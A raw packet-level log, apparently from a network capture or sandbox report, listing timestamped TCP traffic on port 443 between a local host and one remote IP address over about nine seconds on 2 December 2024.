Dec 2, 2024 17:56:55.428253889 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.428270102 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.428318977 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.428323984 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.433746099 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.433779955 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.433857918 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.434020042 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.434032917 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.546291113 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.549232006 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.549283028 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.549391031 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.549391031 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.549439907 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.549439907 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.549457073 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.549465895 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.553836107 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.553869009 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.553961039 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.554286003 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.554297924 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.583813906 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.587039948 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.587196112 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.587253094 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.587274075 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.587284088 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.587290049 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.591337919 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.591351986 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.591453075 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.591598988 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.591610909 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.683845997 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.684561014 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.684585094 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:55.685884953 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:55.685890913 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.128669024 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.131865978 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.131927013 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.132107019 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.132107019 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.132128000 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.132137060 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.136993885 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.137026072 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.137105942 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.137269974 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.137281895 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.181334972 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.181807995 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.181832075 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.182132959 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.182137966 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.635651112 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.639534950 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.639753103 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.639753103 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.639753103 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.644092083 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.644134045 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.644239902 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.644426107 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.644439936 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:56.942610979 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:56.942639112 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.242705107 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.243340015 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.243375063 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.244640112 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.244646072 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.345247030 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.345993042 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.346013069 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.347275972 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.347280979 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.687284946 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.690565109 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.690606117 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.690690994 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.690735102 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.690828085 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.690846920 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.690859079 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.690865040 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.695024967 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.695058107 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.695158005 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.695367098 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.695384979 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.792480946 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.795594931 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.795658112 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.795691013 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.795691013 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.795708895 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.795717001 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.800543070 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.800573111 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.800676107 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.800842047 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.800854921 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.931442022 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.931926966 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.931952953 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:57.933161974 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:57.933166981 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.383177042 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.383850098 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.383876085 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.385175943 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.385181904 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.395828009 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.398885965 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.398987055 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.399152994 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.399174929 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.405330896 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.405359030 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.405495882 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.405951977 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.405966043 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.855973959 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.859023094 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.859070063 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.859082937 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.859124899 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.859174013 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.859190941 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.859200954 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.859206915 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.862945080 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.862993956 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:58.863069057 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.863199949 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:58.863217115 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.537739992 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.538832903 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.538852930 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.540190935 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.540196896 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.582716942 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.583209038 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.583239079 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.584721088 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.584729910 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.590847015 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.591269016 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.591300964 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.592381001 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.592386007 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.973251104 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.976504087 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.976588011 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.976650000 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.976667881 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.976680040 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.976686954 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.979523897 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.979568958 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:59.979634047 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.979763985 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:59.979778051 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.036163092 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.036334038 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.036561012 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.037127972 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.037149906 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.037173986 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.037179947 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.037453890 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.037513971 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.037599087 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.037890911 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.037918091 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.037945986 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.037952900 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.041481972 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.041521072 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.041591883 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.041718006 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.041733980 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.041860104 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.041874886 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.041929960 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.042011976 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.042023897 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.200301886 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.201049089 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.201069117 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.202270985 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.202275991 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.648442984 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.651262045 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.651343107 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.652945995 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.660721064 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.660742044 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.660751104 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.660758972 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.661214113 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.661238909 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.661825895 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.661835909 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.664913893 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.664962053 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:00.665020943 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.665148020 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:00.665163040 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.103180885 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.106247902 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.106297970 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.106321096 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.106360912 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.106410027 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.106440067 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.106462002 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.106468916 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.111854076 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.111901045 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.111985922 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.112148046 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.112163067 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.698743105 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.707020998 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.707047939 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.707489967 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.707494020 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.824440956 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.825325966 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.825351954 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.826596022 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.826601982 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.888947964 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.889754057 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.889786959 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:01.891021013 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:01.891026974 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.151586056 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.151648045 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.151717901 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.151951075 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.151966095 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.151976109 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.151982069 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.158443928 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.158484936 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.158668041 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.159033060 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.159048080 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.273067951 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.273128986 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.273369074 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.273669004 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.273679018 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.273714066 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.273719072 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.279733896 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.279776096 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.279890060 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.280102015 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.280117035 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.384165049 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.387286901 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.387573957 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.387573957 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.387573957 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.390448093 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.390489101 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.390621901 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.390949011 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.390963078 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.396291018 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.396614075 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.396626949 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.397036076 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.397041082 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.692764044 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.692802906 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.833926916 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.836874962 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.836937904 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.836981058 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.837106943 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.837282896 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.837301016 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.843560934 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.843604088 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.843729019 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.844162941 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.844173908 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.901084900 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.901782036 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.901813030 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:02.903112888 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:02.903117895 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.347649097 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.347721100 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.347876072 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.348040104 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.348061085 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.348076105 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.348082066 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.353069067 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.353116989 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.353195906 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.353375912 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.353389978 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.955549955 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.956496000 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.956516027 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.957735062 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.957741976 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.997225046 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.997875929 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.997912884 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:03.999174118 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:03.999181986 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.108308077 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.108886957 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.108916998 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.109345913 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.109358072 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.399842978 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.402892113 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.402960062 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.402988911 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.403085947 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.403091908 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.403101921 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.403455973 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.407708883 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.407753944 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.407844067 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.408015013 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.408029079 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.433358908 CET	443	49899	13.107.246.63	192.168.2.4
